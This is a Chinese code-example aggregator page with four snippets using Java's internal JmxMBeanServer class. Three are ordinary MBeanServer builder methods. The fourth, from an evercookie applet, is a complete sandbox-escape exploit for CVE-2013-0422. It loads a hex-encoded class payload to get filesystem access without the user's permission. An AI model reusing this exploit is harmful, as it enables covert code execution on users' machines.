当前位置: 首页>>代码示例>>Java>>正文


Java JmxMBeanServer类代码示例

本文整理汇总了Java中com.sun.jmx.mbeanserver.JmxMBeanServer的典型用法代码示例。如果您正苦于以下问题:Java JmxMBeanServer类的具体用法?Java JmxMBeanServer怎么用?Java JmxMBeanServer使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。


JmxMBeanServer类属于com.sun.jmx.mbeanserver包,在下文中一共展示了JmxMBeanServer类的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: newMBeanServer

import com.sun.jmx.mbeanserver.JmxMBeanServer; //导入依赖的package包/类
/** {@inheritDoc} */
@Override public MBeanServer newMBeanServer(String dfltDomain, MBeanServer outer, MBeanServerDelegate delegate) {
    MBeanServerDelegate decoratingDelegate = new ServerDelegate(delegate);
    return JmxMBeanServer.newMBeanServer(dfltDomain, outer,
        decoratingDelegate, false);
}
 
开发者ID:apache,项目名称:ignite,代码行数:7,代码来源:TCKMBeanServerBuilder.java

示例2: newMBeanServer

import com.sun.jmx.mbeanserver.JmxMBeanServer; //导入依赖的package包/类
/**
 * This method creates a new MBeanServer implementation object.
 * When creating a new MBeanServer the
 * {@link javax.management.MBeanServerFactory} first calls
 * <code>newMBeanServerDelegate()</code> in order to obtain a new
 * {@link javax.management.MBeanServerDelegate} for the new
 * MBeanServer. Then it calls
 * <code>newMBeanServer(defaultDomain,outer,delegate)</code>
 * passing the <var>delegate</var> that should be used by the MBeanServer
 * implementation.
 * <p>Note that the passed <var>delegate</var> might not be directly the
 * MBeanServerDelegate that was returned by this implementation. It could
 * be, for instance, a new object wrapping the previously
 * returned delegate.
 * <p>The <var>outer</var> parameter is a pointer to the MBeanServer that
 * should be passed to the {@link javax.management.MBeanRegistration}
 * interface when registering MBeans inside the MBeanServer.
 * If <var>outer</var> is <code>null</code>, then the MBeanServer
 * implementation must use its own <code>this</code> reference when
 * invoking the {@link javax.management.MBeanRegistration} interface.
 * <p>This makes it possible for a MBeanServer implementation to wrap
 * another MBeanServer implementation, in order to implement, e.g,
 * security checks, or to prevent access to the actual MBeanServer
 * implementation by returning a pointer to a wrapping object.
 *
 * @param defaultDomain Default domain of the new MBeanServer.
 * @param outer A pointer to the MBeanServer object that must be
 *        passed to the MBeans when invoking their
 *        {@link javax.management.MBeanRegistration} interface.
 * @param delegate A pointer to the MBeanServerDelegate associated
 *        with the new MBeanServer. The new MBeanServer must register
 *        this MBean in its MBean repository.
 *
 * @return A new private implementation of an MBeanServer.
 **/
public MBeanServer newMBeanServer(String              defaultDomain,
                                  MBeanServer         outer,
                                  MBeanServerDelegate delegate) {
    // By default, MBeanServerInterceptors are disabled.
    // Use com.sun.jmx.mbeanserver.MBeanServerBuilder to obtain
    // MBeanServers on which MBeanServerInterceptors are enabled.
    return JmxMBeanServer.newMBeanServer(defaultDomain,outer,delegate,
                                         false);
}
 
开发者ID:SunburstApps,项目名称:OpenJSharp,代码行数:45,代码来源:MBeanServerBuilder.java

示例3: newMBeanServerDelegate

import com.sun.jmx.mbeanserver.JmxMBeanServer; //导入依赖的package包/类
/**
 * This method creates a new MBeanServerDelegate for a new MBeanServer.
 * When creating a new MBeanServer the
 * {@link javax.management.MBeanServerFactory} first calls this method
 * in order to create a new MBeanServerDelegate.
 * <br>Then it calls
 * <code>newMBeanServer(defaultDomain,outer,delegate)</code>
 * passing the <var>delegate</var> that should be used by the MBeanServer
 * implementation.
 * <p>Note that the passed <var>delegate</var> might not be directly the
 * MBeanServerDelegate that was returned by this method. It could
 * be, for instance, a new object wrapping the previously
 * returned object.
 *
 * @return A new {@link javax.management.MBeanServerDelegate}.
 **/
public MBeanServerDelegate newMBeanServerDelegate() {
    return JmxMBeanServer.newMBeanServerDelegate();
}
 
开发者ID:SunburstApps,项目名称:OpenJSharp,代码行数:20,代码来源:MBeanServerBuilder.java

示例4: performJailbreak

import com.sun.jmx.mbeanserver.JmxMBeanServer; //导入依赖的package包/类
/**
 * This method contains code that takes advantage of an exploit
 * (CVE-2013-0422) affecting some versions of the Java plugin. It allows us
 * full access to the user's filesystem without needing to ask the user for
 * permission.
 * 
 * The hole that this exploit relies on has been patched in recent Java
 * versions. This code was found on Reddit and was not created by anyone
 * related to Evercookie. If we knew who the author was, we'd credit them.
 * 
 * Because the code for this exploit is already publicly available, and
 * because there is a patch already, I don't think we're changing the
 * security situation appreciably.
 */
@SuppressWarnings("rawtypes")
private static boolean performJailbreak() {
	try {

		JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
		JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer) localJmxMBeanServerBuilder.newMBeanServer("", null,
				null);
		MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();

		ClassLoader a = null;

		Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);

		Class localClass2 = localMBeanInstantiator.findClass(
				"sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);

		MethodHandles.Lookup localLookup = MethodHandles.publicLookup();

		MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class,
				new Class[] { MethodType.class });

		MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor",
				localMethodType1);

		MethodType localMethodType2 = MethodType.methodType(Void.TYPE);

		MethodHandle localMethodHandle2 = (MethodHandle) localMethodHandle1.invokeWithArguments(new Object[] {
				localLookup, localClass1, localMethodType2 });

		Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);

		MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] {
				String.class, MethodType.class });

		MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual",
				localMethodType3);

		MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);

		MethodHandle localMethodHandle4 = (MethodHandle) localMethodHandle3.invokeWithArguments(new Object[] {
				localLookup, localClass1, "createClassLoader", localMethodType4 });

		Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });

		MethodType localMethodType5 = MethodType
				.methodType(Class.class, String.class, new Class[] { byte[].class });
		MethodHandle localMethodHandle5 = (MethodHandle) localMethodHandle3.invokeWithArguments(new Object[] {
				localLookup, localClass2, "defineClass", localMethodType5 });

		byte[] bytecode = hex2Byte(payload);

		Class localClass3 = (Class) localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null,
				bytecode });

		localClass3.newInstance();

		return true;

	} catch (Throwable e) {
	}

	return false;
}
 
开发者ID:gabrielbauman,项目名称:evercookie-applet,代码行数:78,代码来源:EvercookieExploit.java


注:本文中的com.sun.jmx.mbeanserver.JmxMBeanServer类示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。